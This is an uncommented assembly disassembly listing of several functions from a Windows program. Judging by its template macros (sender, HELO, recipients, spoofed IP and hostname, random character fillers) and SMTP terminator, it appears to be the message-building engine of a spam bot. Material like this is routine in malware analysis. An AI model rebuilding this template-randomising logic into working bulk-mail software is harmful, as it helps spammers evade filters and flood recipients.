		mov	esi, [ebp+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	loc_408550
		push	esi
		push	offset a__0	; "\r\n.\r\n"
		lea	eax, [ebp-70h]
		push	eax
		call	sub_401C81
		mov	edi, eax
		sub	eax, esi
		push	eax
		push	esi
		lea	eax, [ebp-70h]
		push	eax
		lea	esi, [ebp-94h]
		call	sub_405527
		push	0FFFFFFFFh
		push	0
		push	eax
		lea	ecx, [ebx+20h]
		mov	byte ptr [ebp-4], 6
		call	sub_401315
		push	0
		push	1
		mov	ecx, esi
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+0Ch], edi
		jz	loc_408550
		add	edi, 5
		mov	[ebp+0Ch], edi
		jmp	loc_408550
; ---------------------------------------------------------------------------


loc_40842E:				; CODE XREF: sub_4081BF+3A5j
		xor	eax, eax
		mov	[ebp-44h], eax
		mov	[ebp-40h], eax
		mov	[ebp-3Ch], eax
		lea	eax, [ebp-30h]
		push	eax
		lea	ecx, [ebp-0A4h]
		mov	byte ptr [ebp-4], 7
		call	sub_401C1E
		lea	eax, [ebp-88h]
		push	eax
		lea	ecx, [ebp-48h]
		mov	byte ptr [ebp-4], 8
		call	sub_4075BC
		mov	esi, [ebp-14h]
		mov	byte ptr [ebp-4], 9
		mov	ebx, [esi+4]
		test	ebx, ebx
		jnz	short loc_408471
		xor	edi, edi
		jmp	short loc_40847E
; ---------------------------------------------------------------------------


loc_408471:				; CODE XREF: sub_4081BF+2ACj
		mov	eax, [esi+0Ch]
		sub	eax, ebx
		push	2Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	edi, eax


loc_40847E:				; CODE XREF: sub_4081BF+2B0j
		mov	eax, esi
		call	sub_406949
		cmp	eax, edi
		jnb	short loc_40849F
		lea	eax, [ebp-0A4h]
		push	eax
		push	1
		push	dword ptr [esi+8]
		call	sub_4099EC
		mov	[esi+8], eax
		jmp	short loc_4084BC
; ---------------------------------------------------------------------------


loc_40849F:				; CODE XREF: sub_4081BF+2C8j
		mov	edi, [esi+8]
		cmp	ebx, edi
		jbe	short loc_4084AB
		call	sub_40DCFC


loc_4084AB:				; CODE XREF: sub_4081BF+2E5j
		push	edi
		push	esi
		lea	eax, [ebp-0A4h]
		push	eax
		lea	ebx, [ebp-78h]
		call	sub_40996D


loc_4084BC:				; CODE XREF: sub_4081BF+2DEj
		lea	esi, [ebp-88h]
		call	sub_405AAC
		push	0
		push	1
		lea	ecx, [ebp-0A4h]
		call	sub_4013C4
		lea	esi, [ebp-48h]
		mov	byte ptr [ebp-4], 1
		call	sub_405AAC
		jmp	short loc_40853A
; ---------------------------------------------------------------------------


loc_4084E4:				; CODE XREF: sub_4081BF+38Fj
		push	offset a_	; "."
		lea	esi, [ebp-30h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jnz	short loc_408550
		mov	edi, [ebp-14h]
		mov	esi, [edi+8]
		cmp	[edi+4], esi
		jbe	short loc_408506
		call	sub_40DCFC


loc_408506:				; CODE XREF: sub_4081BF+340j
		mov	[ebp-38h], edi
		push	0FFFFFFFFh
		lea	edi, [ebp-38h]
		mov	[ebp-34h], esi
		call	sub_40AFC3
		mov	esi, [eax]
		test	esi, esi
		mov	edi, [eax+4]
		jnz	short loc_408524
		call	sub_40DCFC


loc_408524:				; CODE XREF: sub_4081BF+35Ej
		cmp	edi, [esi+8]
		jb	short loc_40852E
		call	sub_40DCFC


loc_40852E:				; CODE XREF: sub_4081BF+368j
		lea	eax, [ebp-30h]
		push	eax
		lea	eax, [edi+1Ch]
		call	sub_409560


loc_40853A:				; CODE XREF: sub_4081BF+323j
		lea	eax, [ebp-70h]
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		lea	edi, [ebp+0Ch]
		call	sub_4093C0
		test	al, al
		pop	ecx
		pop	ecx
		jnz	short loc_4084E4


loc_408550:				; CODE XREF: sub_4081BF+20Ej
					; sub_4081BF+25Ej ...
		lea	eax, [ebp-70h]
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		lea	edi, [ebp+0Ch]
		call	sub_4093C0
		test	al, al
		pop	ecx
		pop	ecx
		jnz	loc_40842E
		push	0
		push	1
		lea	ecx, [ebp-70h]
		call	sub_4013C4
		push	0
		push	1
		lea	ecx, [ebp-30h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_4081BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_408593	proc near		; CODE XREF: sub_402979+DDp
		mov	eax, offset loc_41B3CD
		call	sub_41AE44
		sub	esp, 0A8h
		push	ebx
		push	esi
		push	edi
		call	sub_40AC61
		mov	[ebp-24h], eax
		mov	byte ptr [eax+45h], 1
		mov	eax, [ebp-24h]
		mov	[eax+4], eax
		mov	eax, [ebp-24h]
		mov	[eax], eax
		mov	eax, [ebp-24h]
		xor	ebx, ebx
		mov	[eax+8], eax
		mov	[ebp-20h], ebx
		mov	[ebp-4], ebx
		call	sub_40AF99
		mov	[ebp-30h], eax
		mov	byte ptr [eax+39h], 1
		mov	eax, [ebp-30h]
		mov	[eax+4], eax
		mov	eax, [ebp-30h]
		mov	[eax], eax
		mov	eax, [ebp-30h]
		mov	[eax+8], eax
		mov	[ebp-2Ch], ebx
		push	offset a_date	; "_DATE"
		lea	ecx, [ebp-50h]
		mov	byte ptr [ebp-4], 1
		call	sub_401C44
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_4095C0
		push	eax
		call	sub_409358
		xor	esi, esi
		push	ebx
		inc	esi
		push	esi
		lea	ecx, [ebp-50h]
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4
		push	offset a_my_ip	; "_MY_IP"
		lea	ecx, [ebp-50h]
		call	sub_401C44
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		mov	byte ptr [ebp-4], 3
		call	sub_4095C0
		mov	edi, [ebp+8]
		push	0FFFFFFFFh
		push	ebx
		lea	ecx, [edi+3Ch]
		push	ecx
		mov	ecx, eax
		call	sub_401315
		push	ebx
		push	esi
		lea	ecx, [ebp-50h]
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4
		push	offset a_my_hostname ; "_MY_HOSTNAME"
		lea	ecx, [ebp-50h]
		call	sub_401C44
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_4095C0
		push	0FFFFFFFFh
		push	ebx
		lea	ecx, [edi+58h]
		push	ecx
		mov	ecx, eax
		call	sub_401315
		push	ebx
		push	esi
		lea	ecx, [ebp-50h]
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4
		push	offset a_from_domain ; "_FROM_DOMAIN"
		lea	ecx, [ebp-50h]
		call	sub_401C44
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_4095C0
		push	0FFFFFFFFh
		push	ebx
		push	dword ptr [ebp+10h]
		mov	ecx, eax
		call	sub_401315
		push	ebx
		push	esi
		lea	ecx, [ebp-50h]
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4
		lea	esi, [edi+10h]
		mov	eax, [esi+4]
		cmp	eax, [esi+8]
		mov	[ebp+10h], esi
		mov	[ebp-1Ch], eax
		jbe	short loc_4086ED
		call	sub_40DCFC
		mov	eax, [ebp-1Ch]


loc_4086ED:				; CODE XREF: sub_408593+150j
		mov	[ebp-18h], esi
		mov	[ebp-14h], eax


loc_4086F3:				; CODE XREF: sub_408593+2D2j
		mov	eax, [esi+8]
		cmp	[esi+4], eax
		mov	[ebp-1Ch], eax
		jbe	short loc_408703
		call	sub_40DCFC


loc_408703:				; CODE XREF: sub_408593+169j
		cmp	esi, esi
		jz	short loc_40870C
		call	sub_40DCFC


loc_40870C:				; CODE XREF: sub_408593+172j
		mov	eax, [ebp-1Ch]
		cmp	[ebp-14h], eax
		jz	loc_40886A
		mov	[ebp-40h], ebx
		mov	[ebp-3Ch], ebx
		mov	[ebp-38h], ebx
		lea	esi, [ebp-18h]
		mov	byte ptr [ebp-4], 6
		call	sub_409835
		push	eax
		lea	ecx, [ebp-0A8h]
		call	sub_401C1E
		lea	eax, [ebp-8Ch]
		push	eax
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 7
		call	sub_4075BC
		lea	eax, [ebp-0A8h]
		push	eax
		lea	edi, [ebp-0B4h]
		lea	ebx, [ebp-34h]
		mov	byte ptr [ebp-4], 8
		call	sub_409720
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		lea	esi, [ebp-8Ch]
		mov	[ebp-60h], ecx
		call	sub_405AAC
		push	0
		push	1
		lea	ecx, [ebp-0A8h]
		call	sub_4013C4
		lea	esi, [ebp-44h]
		mov	byte ptr [ebp-4], 1
		call	sub_405AAC
		lea	esi, [ebp-18h]
		call	sub_409835
		mov	edi, eax
		mov	esi, [edi+20h]
		add	edi, 1Ch
		cmp	esi, [edi+8]
		jbe	short loc_4087AD
		call	sub_40DCFC


loc_4087AD:				; CODE XREF: sub_408593+213j
					; sub_408593+2B1j
		mov	[ebp-54h], esi
		lea	esi, [ebp-18h]
		call	sub_409835
		mov	esi, eax
		mov	eax, [esi+24h]
		add	esi, 1Ch
		cmp	[esi+4], eax
		mov	[ebp-1Ch], eax
		jbe	short loc_4087CD
		call	sub_40DCFC


loc_4087CD:				; CODE XREF: sub_408593+233j
		cmp	edi, esi
		jz	short loc_4087D6
		call	sub_40DCFC


loc_4087D6:				; CODE XREF: sub_408593+23Cj
		mov	esi, [ebp-54h]
		cmp	esi, [ebp-1Ch]
		jz	short loc_408849
		cmp	esi, [edi+8]
		jb	short loc_4087E8
		call	sub_40DCFC


loc_4087E8:				; CODE XREF: sub_408593+24Ej
		push	esi
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-7Ch]
		push	eax
		call	sub_4089E6
		mov	[ebp-1Ch], eax
		mov	byte ptr [ebp-4], 9
		cmp	dword ptr [ebp-60h], 0
		jnz	short loc_40880F
		call	sub_40DCFC


loc_40880F:				; CODE XREF: sub_408593+275j
		mov	eax, [ebp-60h]
		cmp	ebx, [eax+4]
		jnz	short loc_40881C
		call	sub_40DCFC


loc_40881C:				; CODE XREF: sub_408593+282j
		push	dword ptr [ebp-1Ch]
		lea	eax, [ebx+28h]
		call	sub_409560
		push	0
		push	1
		lea	ecx, [ebp-7Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4
		cmp	esi, [edi+8]
		jb	short loc_408841
		call	sub_40DCFC


loc_408841:				; CODE XREF: sub_408593+2A7j
		add	esi, 1Ch
		jmp	loc_4087AD
; ---------------------------------------------------------------------------


loc_408849:				; CODE XREF: sub_408593+249j
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-14h]
		cmp	ecx, [eax+8]
		jb	short loc_408859
		call	sub_40DCFC


loc_408859:				; CODE XREF: sub_408593+2BFj
		add	dword ptr [ebp-14h], 2Ch
		mov	esi, [ebp+10h]
		mov	edi, [ebp+8]
		xor	ebx, ebx
		jmp	loc_4086F3
; ---------------------------------------------------------------------------


loc_40886A:				; CODE XREF: sub_408593+17Fj
		mov	esi, [edi+4]
		cmp	esi, [edi+8]
		jbe	short loc_408877
		call	sub_40DCFC


loc_408877:				; CODE XREF: sub_408593+2DDj
		mov	[ebp-18h], edi
		mov	[ebp-14h], esi


loc_40887D:				; CODE XREF: sub_408593+35Fj
		mov	esi, [edi+8]
		cmp	[edi+4], esi
		jbe	short loc_40888A
		call	sub_40DCFC


loc_40888A:				; CODE XREF: sub_408593+2F0j
		cmp	[ebp-14h], esi
		jz	short loc_4088F4
		lea	esi, [ebp-18h]
		call	sub_409835
		add	eax, 1Ch
		push	eax
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-7Ch]
		push	eax
		call	sub_4089E6
		mov	[ebp+8], eax
		mov	byte ptr [ebp-4], 0Ah
		call	sub_409835
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		call	sub_4095C0
		push	0FFFFFFFFh
		push	ebx
		push	dword ptr [ebp+8]
		mov	ecx, eax
		call	sub_401315
		push	ebx
		push	1
		lea	ecx, [ebp-7Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4
		mov	eax, [ebp-14h]
		cmp	eax, [edi+8]
		jb	short loc_4088EE
		call	sub_40DCFC


loc_4088EE:				; CODE XREF: sub_408593+354j
		add	dword ptr [ebp-14h], 38h
		jmp	short loc_40887D
; ---------------------------------------------------------------------------


loc_4088F4:				; CODE XREF: sub_408593+2FAj
		push	offset a_sender	; "_SENDER"
		lea	ecx, [ebp-50h]
		call	sub_401C44
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		mov	byte ptr [ebp-4], 0Bh
		call	sub_4095C0
		mov	ecx, [ebp+18h]
		or	esi, 0FFFFFFFFh
		push	esi
		push	ebx
		push	eax
		call	sub_401315
		push	ebx
		push	1
		lea	ecx, [ebp-50h]
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4
		push	offset a_helo	; "_HELO"
		lea	ecx, [ebp-50h]
		call	sub_401C44
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		mov	byte ptr [ebp-4], 0Ch
		call	sub_4095C0
		mov	ecx, [ebp+1Ch]
		push	esi
		push	ebx
		push	eax
		call	sub_401315
		push	ebx
		push	1
		lea	ecx, [ebp-50h]
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4
		add	edi, 20h
		push	edi
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-7Ch]
		push	eax
		call	sub_4089E6
		mov	ecx, [ebp+14h]
		push	esi
		push	ebx
		push	eax
		mov	byte ptr [ebp-4], 0Dh
		call	sub_401315
		push	ebx
		push	1
		lea	ecx, [ebp-7Ch]
		call	sub_4013C4
		lea	eax, [ebp-34h]
		mov	[ebp-4], bl
		call	sub_4096EB
		lea	eax, [ebp-28h]
		mov	[ebp-4], esi
		call	sub_4096B6
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	18h
sub_408593	endp

; ---------------------------------------------------------------------------


loc_4089C0:				; CODE XREF: .vty:0041B35Aj
		push	ecx
		call	sub_4096B6
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4089C8:				; CODE XREF: .vty:0041B362j
		push	ecx
		call	sub_4096EB
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4089D0:				; CODE XREF: .vty:0041B3A0j
					; .vty:0041B507j ...
		push	esi
		lea	esi, [edi+1Ch]
		call	sub_405AAC
		push	0
		push	1
		mov	ecx, edi
		call	sub_4013C4
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4089E6	proc near		; CODE XREF: sub_408593+265p
					; sub_408593+317p ...
		mov	eax, offset loc_41B1B1
		call	sub_41AE44
		sub	esp, 84h
		and	dword ptr [ebp-14h], 0
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		call	sub_4012E2
		and	dword ptr [ebp-4], 0
		mov	ebx, [ebp+18h]
		xor	eax, eax
		mov	dword ptr [ebp-14h], 1
		xor	esi, esi
		call	sub_4094C5
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_408E05
		jmp	short loc_408A2C
; ---------------------------------------------------------------------------


loc_408A29:				; CODE XREF: sub_4089E6+419j
		mov	ebx, [ebp-10h]


loc_408A2C:				; CODE XREF: sub_4089E6+41j
		mov	eax, ebx
		sub	eax, esi
		push	eax
		push	esi
		push	dword ptr [ebp+18h]
		lea	esi, [ebp-78h]
		call	sub_405527
		xor	edi, edi
		inc	edi
		push	0FFFFFFFFh
		mov	[ebp-4], edi
		mov	esi, [ebp+8]
		push	0
		call	sub_401F95
		push	0
		push	edi
		lea	ecx, [ebp-78h]
		call	sub_4013C4
		mov	esi, [ebp+18h]
		mov	edi, ebx
		mov	eax, esi
		call	sub_4012F5
		mov	al, [eax]
		push	0
		lea	ecx, [ebp-54h]
		mov	[ebp-28h], al
		mov	dword ptr [ebp-3Ch], 0Fh
		call	sub_401564
		inc	ebx
		mov	dword ptr [ebp-4], 2
		cmp	ebx, [esi+14h]
		mov	[ebp-10h], ebx
		jnb	short loc_408ADD


loc_408A8C:				; CODE XREF: sub_4089E6+F5j
		mov	edi, ebx
		mov	eax, esi
		call	sub_4012F5
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_410004
		test	eax, eax
		pop	ecx
		jnz	short loc_408AAF
		mov	eax, esi
		call	sub_4012F5
		cmp	byte ptr [eax],	5Fh
		jnz	short loc_408ADD


loc_408AAF:				; CODE XREF: sub_4089E6+BBj
		mov	edi, ebx
		mov	eax, esi
		call	sub_4012F5
		mov	al, [eax]
		mov	[ebp-58h], al
		push	dword ptr [ebp-58h]
		xor	ebx, ebx
		inc	ebx
		lea	esi, [ebp-54h]
		call	sub_40140F
		inc	dword ptr [ebp-10h]
		mov	eax, [ebp+18h]
		mov	ecx, [ebp-10h]
		cmp	ecx, [eax+14h]
		mov	ebx, ecx
		mov	esi, eax
		jb	short loc_408A8C


loc_408ADD:				; CODE XREF: sub_4089E6+A4j
					; sub_4089E6+C7j
		cmp	byte ptr [ebp-28h], 23h
		jnz	loc_408CC2
		xor	eax, eax
		mov	[ebp-20h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-18h], eax
		mov	byte ptr [ebp-4], 3
		cmp	ebx, [esi+14h]
		jnb	loc_408BAC
		mov	edi, ebx
		mov	eax, esi
		call	sub_4012F5
		cmp	byte ptr [eax],	28h
		jnz	loc_408BAC


loc_408B11:				; CODE XREF: sub_4089E6+1BCj
		push	0
		lea	ecx, [ebp-78h]
		mov	dword ptr [ebp-60h], 0Fh
		call	sub_401564
		inc	ebx
		mov	byte ptr [ebp-4], 4
		cmp	ebx, [esi+14h]
		mov	[ebp-10h], ebx
		jnb	short loc_408B75


loc_408B2F:				; CODE XREF: sub_4089E6+18Dj
		mov	edi, ebx
		mov	eax, esi
		call	sub_4012F5
		cmp	byte ptr [eax],	2Ch
		jz	short loc_408B75
		mov	eax, esi
		call	sub_4012F5
		cmp	byte ptr [eax],	29h
		jz	short loc_408B75
		mov	eax, esi
		call	sub_4012F5
		mov	al, [eax]
		mov	[ebp-5Ch], al
		push	dword ptr [ebp-5Ch]
		xor	ebx, ebx
		inc	ebx
		lea	esi, [ebp-78h]
		call	sub_40140F
		inc	dword ptr [ebp-10h]
		mov	eax, [ebp+18h]
		mov	ecx, [ebp-10h]
		cmp	ecx, [eax+14h]
		mov	ebx, ecx
		mov	esi, eax
		jb	short loc_408B2F


loc_408B75:				; CODE XREF: sub_4089E6+147j
					; sub_4089E6+155j ...
		lea	eax, [ebp-78h]
		push	eax
		lea	eax, [ebp-24h]
		call	sub_409560
		push	0
		push	1
		lea	ecx, [ebp-78h]
		mov	byte ptr [ebp-4], 3
		call	sub_4013C4
		mov	edi, ebx
		mov	eax, esi
		call	sub_4012F5
		cmp	byte ptr [eax],	29h
		jz	short loc_408BA8
		cmp	ebx, [esi+14h]
		jb	loc_408B11


loc_408BA8:				; CODE XREF: sub_4089E6+1B7j
		inc	ebx
		mov	[ebp-10h], ebx


loc_408BAC:				; CODE XREF: sub_4089E6+113j
					; sub_4089E6+125j
		push	offset aDict	; "DICT"
		lea	esi, [ebp-54h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jz	short loc_408BC5
		push	offset dword_41E020
		jmp	short loc_408BF5
; ---------------------------------------------------------------------------


loc_408BC5:				; CODE XREF: sub_4089E6+1D6j
		push	offset aDict_sp	; "DICT_SP"
		lea	esi, [ebp-54h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jz	short loc_408BDE
		push	offset asc_41EC4C ; " "
		jmp	short loc_408BF5
; ---------------------------------------------------------------------------


loc_408BDE:				; CODE XREF: sub_4089E6+1EFj
		push	offset aDict_nl	; "DICT_NL"
		lea	esi, [ebp-54h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jz	short loc_408C09
		push	offset asc_41EBE8 ; "\r\n"


loc_408BF5:				; CODE XREF: sub_4089E6+1DDj
					; sub_4089E6+1F6j
		lea	eax, [ebp-24h]
		push	eax
		push	dword ptr [ebp+8]
		mov	eax, [ebp+10h]
		call	sub_408E4C
		jmp	loc_408CB1
; ---------------------------------------------------------------------------


loc_408C09:				; CODE XREF: sub_4089E6+208j
		push	offset aRand_num ; "RAND_NUM"
		lea	esi, [ebp-54h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jz	short loc_408C22
		push	offset a0123456789 ; "0123456789"
		jmp	short loc_408C84
; ---------------------------------------------------------------------------


loc_408C22:				; CODE XREF: sub_4089E6+233j
		push	offset aRand_char_lc ; "RAND_CHAR_LC"
		lea	esi, [ebp-54h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jz	short loc_408C3B
		push	offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz"
		jmp	short loc_408C84
; ---------------------------------------------------------------------------


loc_408C3B:				; CODE XREF: sub_4089E6+24Cj
		push	offset aRand_char_uc ; "RAND_CHAR_UC"
		lea	esi, [ebp-54h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jz	short loc_408C54
		push	offset aAbcdefghijkl_0 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
		jmp	short loc_408C84
; ---------------------------------------------------------------------------


loc_408C54:				; CODE XREF: sub_4089E6+265j
		push	offset aRand_char_mc ; "RAND_CHAR_MC"
		lea	esi, [ebp-54h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jz	short loc_408C6D
		push	offset aAbcdefghijkl_1 ; "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM"...
		jmp	short loc_408C84
; ---------------------------------------------------------------------------


loc_408C6D:				; CODE XREF: sub_4089E6+27Ej
		push	offset aRand_char_num ;	"RAND_CHAR_NUM"
		lea	esi, [ebp-54h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jz	short loc_408C91
		push	offset aAbcdefghijkl_2 ; "abcdefghijklmnopqrstuvwxyz0123456789"


loc_408C84:				; CODE XREF: sub_4089E6+23Aj
					; sub_4089E6+253j ...
		push	dword ptr [ebp+8]
		lea	eax, [ebp-24h]
		call	sub_408F69
		jmp	short loc_408CB1
; ---------------------------------------------------------------------------


loc_408C91:				; CODE XREF: sub_4089E6+297j
		push	offset aRecipients ; "RECIPIENTS"
		lea	esi, [ebp-54h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jz	short loc_408CB1
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-24h]
		push	dword ptr [ebp+8]
		call	sub_409016


loc_408CB1:				; CODE XREF: sub_4089E6+21Ej
					; sub_4089E6+2A9j ...
		lea	esi, [ebp-24h]
		mov	byte ptr [ebp-4], 2
		call	sub_405AAC
		jmp	loc_408DB0
; ---------------------------------------------------------------------------


loc_408CC2:				; CODE XREF: sub_4089E6+FBj
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-54h]
		push	eax
		mov	eax, esi
		call	sub_40A70C
		test	esi, esi
		mov	[ebp-34h], eax
		jnz	short loc_408CDC
		call	sub_40DCFC


loc_408CDC:				; CODE XREF: sub_4089E6+2EFj
		mov	eax, [esi+4]
		mov	[ebp-38h], esi
		mov	[ebp-90h], esi
		lea	edi, [ebp-90h]
		lea	esi, [ebp-38h]
		mov	[ebp-8Ch], eax
		call	sub_40989F
		test	al, al
		jnz	short loc_408D19
		mov	ecx, [ebp-34h]
		add	ecx, 0Ch
		lea	eax, [ebp-54h]
		call	sub_409C4D
		test	al, al
		jnz	short loc_408D19
		mov	eax, [ebp+0Ch]
		mov	ecx, esi
		jmp	short loc_408D28
; ---------------------------------------------------------------------------


loc_408D19:				; CODE XREF: sub_4089E6+318j
					; sub_4089E6+32Aj
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax+4]
		mov	[ebp-7Ch], ecx
		mov	[ebp-80h], eax
		lea	ecx, [ebp-80h]


loc_408D28:				; CODE XREF: sub_4089E6+331j
		mov	edx, [ecx]
		mov	ecx, [ecx+4]
		mov	[ebp-2Ch], ecx
		mov	ecx, [eax+4]
		lea	edi, [ebp-88h]
		lea	esi, [ebp-30h]
		mov	[ebp-30h], edx
		mov	[ebp-84h], ecx
		mov	[ebp-88h], eax
		call	sub_40989F
		test	al, al
		jz	short loc_408D6B
		push	offset dword_41E020
		lea	ecx, [ebp-78h]
		call	sub_401C44
		mov	byte ptr [ebp-4], 5
		or	dword ptr [ebp-14h], 2
		jmp	short loc_408D87
; ---------------------------------------------------------------------------


loc_408D6B:				; CODE XREF: sub_4089E6+36Cj
		mov	edi, [ebp-30h]
		test	edi, edi
		jnz	short loc_408D77
		call	sub_40DCFC


loc_408D77:				; CODE XREF: sub_4089E6+38Aj
		mov	esi, [ebp-2Ch]
		cmp	esi, [edi+4]
		jnz	short loc_408D84
		call	sub_40DCFC


loc_408D84:				; CODE XREF: sub_4089E6+397j
		lea	eax, [esi+28h]


loc_408D87:				; CODE XREF: sub_4089E6+383j
		mov	esi, [ebp+8]
		push	0FFFFFFFFh
		push	0
		call	sub_401F95
		mov	dword ptr [ebp-4], 2
		test	byte ptr [ebp-14h], 2
		jz	short loc_408DB0
		and	dword ptr [ebp-14h], 0FFFFFFFDh
		push	0
		push	1
		lea	ecx, [ebp-78h]
		call	sub_4013C4


loc_408DB0:				; CODE XREF: sub_4089E6+2D7j
					; sub_4089E6+3B8j
		mov	eax, [ebp+18h]
		cmp	ebx, [eax+14h]
		jnb	short loc_408DDC
		mov	edi, ebx
		call	sub_4012F5
		cmp	byte ptr [eax],	3Bh
		jnz	short loc_408DDC
		cmp	dword ptr [ebp-40h], 0
		jnz	short loc_408DDB
		push	dword ptr [ebp-28h]
		mov	esi, [ebp+8]
		xor	ebx, ebx
		inc	ebx
		call	sub_40140F
		mov	ebx, [ebp-10h]


loc_408DDB:				; CODE XREF: sub_4089E6+3E2j
		inc	ebx


loc_408DDC:				; CODE XREF: sub_4089E6+3D0j
					; sub_4089E6+3DCj
		mov	eax, ebx
		mov	esi, ebx
		mov	ebx, [ebp+18h]
		call	sub_4094C5
		push	0
		push	1
		lea	ecx, [ebp-54h]
		mov	[ebp-10h], eax
		mov	byte ptr [ebp-4], 0
		call	sub_4013C4
		cmp	dword ptr [ebp-10h], 0FFFFFFFFh
		jnz	loc_408A29


loc_408E05:				; CODE XREF: sub_4089E6+3Bj
		mov	eax, [ebp+18h]
		cmp	esi, [eax+14h]
		jnb	short loc_408E38
		push	0FFFFFFFFh
		push	esi
		push	eax
		lea	esi, [ebp-78h]
		call	sub_405527
		push	0FFFFFFFFh
		mov	dword ptr [ebp-4], 6
		mov	esi, [ebp+8]
		push	0
		call	sub_401F95
		push	0
		push	1
		lea	ecx, [ebp-78h]
		call	sub_4013C4


loc_408E38:				; CODE XREF: sub_4089E6+425j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	14h
sub_4089E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E4C	proc near		; CODE XREF: sub_4089E6+219p

var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, eax
		mov	eax, esi
		call	sub_4057B6
		test	eax, eax
		jz	loc_408F62
		push	0
		call	sub_409541
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4097C7
		mov	ecx, [eax]
		test	ecx, ecx
		mov	ebx, [eax+4]
		mov	esi, [edi+4]
		mov	[ebp+var_10], ecx
		jz	short loc_408E8D
		cmp	ecx, edi
		jz	short loc_408E92


loc_408E8D:				; CODE XREF: sub_408E4C+3Bj
		call	sub_40DCFC


loc_408E92:				; CODE XREF: sub_408E4C+3Fj
		cmp	ebx, esi
		jz	loc_408F62
		mov	eax, [ebp+arg_4]
		xor	edi, edi
		inc	edi
		mov	[ebp+var_8], edi
		call	sub_4057B6
		cmp	eax, edi
		jbe	short loc_408EF7
		mov	esi, [ebp+arg_4]
		push	edi
		call	sub_409541
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_408EC0
		mov	eax, [eax+4]
		jmp	short loc_408EC3
; ---------------------------------------------------------------------------


loc_408EC0:				; CODE XREF: sub_408E4C+6Dj
		add	eax, 4


loc_408EC3:				; CODE XREF: sub_408E4C+72j
		push	eax
		call	sub_410040
		mov	[ebp+var_8], eax
		pop	ecx
		mov	eax, esi
		call	sub_4057B6
		cmp	eax, 2
		jbe	short loc_408EF7
		push	2
		call	sub_409541
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_408EEB
		mov	eax, [eax+4]
		jmp	short loc_408EEE
; ---------------------------------------------------------------------------


loc_408EEB:				; CODE XREF: sub_408E4C+98j
		add	eax, 4


loc_408EEE:				; CODE XREF: sub_408E4C+9Dj
		push	eax
		call	sub_410040
		pop	ecx
		mov	edi, eax


loc_408EF7:				; CODE XREF: sub_408E4C+5Ej
					; sub_408E4C+8Bj
